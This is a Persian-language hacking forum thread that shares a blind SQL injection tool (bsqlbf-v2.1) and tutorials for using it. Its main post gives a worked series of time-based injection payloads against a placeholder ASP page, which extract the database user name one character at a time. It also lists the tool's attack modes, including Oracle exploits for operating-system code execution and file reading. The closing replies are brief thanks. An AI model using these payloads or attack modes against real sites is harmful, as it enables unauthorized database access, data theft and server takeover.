فیلم ها ، داکیومنتها و ابزارهای Blind Sql Injection

[homay]

سلام بچه ها

در این تاپیک میخوام فیلم ها ، داکیومنتها و ابزارهایی Blind Injection رو قرار بدم

امیدوارم بدردتون بخوره

[homay]

یک ابزار بسیار مفید برای Blind Sql injection به همراه آموزش تصویری ---- bsqlbf-v2.1



DataBaseهای زیر را بصورت خودکار براتون بلایند میکنه :
MS-SQL
MYSQL
POSTGRES
ORACLE

برید حالشو ببرید

[homay]

مبنای کار تاخیر زمانی در درخواستهایی که به سمت سرور فرستاده میشه هستش

کد PHP:

***91;LEFT***93;> http://***91;site***93;/page.asp?id=1 
> 
> 
> تشخیص بر اساس تاخیر زمان : 
> ####################################################***nbsp;
> Blind SQL Injection Syntax for extracting the USER 
> 
> 3 - Total Characters 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> D - 1st Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98) 
> WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99) 
> WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> B - 2nd Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> 
> O - 3rd Character 
> http://***91;site***93;/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97) 
> WAITFOR DELAY '00:00:10'-- (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'-- 
> http://***91;site***93;/page.asp?id=1; IF 
> (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'-- 
> (+10 seconds) 
> 
> Database User = DBO 
> 
> 
> 
***91;/LEFT***93; 


[homay]

integer و string

متدهای حمله :

The tool supports 8 attack modes(-type switch):-
Type 0: Blind SQL Injection based on true and false conditions returned by back-end server

Type 1: Blind SQL Injection based on true and error(e.g syntax error) returned by back-end server.

Type 2: Blind SQL Injection in "order by" and "group by".

Type 3: extracting data with SYS privileges (ORACLE dbms_export_extension exploit)

Type 4: is O.S code execution (ORACLE dbms_export_extension exploit)

Type 5: is reading files (ORACLE dbms_export_extension exploit, based on java)

Type 6: is O.S code execution DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit

Type 7: is O.S code execution SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA Privs

Type 8: is O.S code execution DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions

توضیحات کامل : http://code.google.com/p/bsqlbf-v2/

[| Red |]

[hosseinkh]

نوشته اصلی توسط | Red |

سلام .ممنون ولی کاش یه خط توضیح درموردش میدادی

[sahil_kinara]

....thanx bro